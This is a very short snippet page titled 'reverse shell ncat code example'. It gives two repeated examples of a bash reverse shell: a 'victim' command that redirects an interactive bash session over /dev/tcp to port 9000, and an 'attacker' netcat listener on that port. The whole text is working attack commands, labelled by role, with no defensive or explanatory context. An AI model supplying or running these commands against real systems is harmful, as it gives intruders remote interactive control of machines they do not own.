reverse shell ncat code example
Example 1: how to reverse shell
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1 # Victim
Example 2: how to reverse shell
nc -l -p 9000 -vvv # Attacker
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1 # Victim
nc -l -p 9000 -vvv # Attacker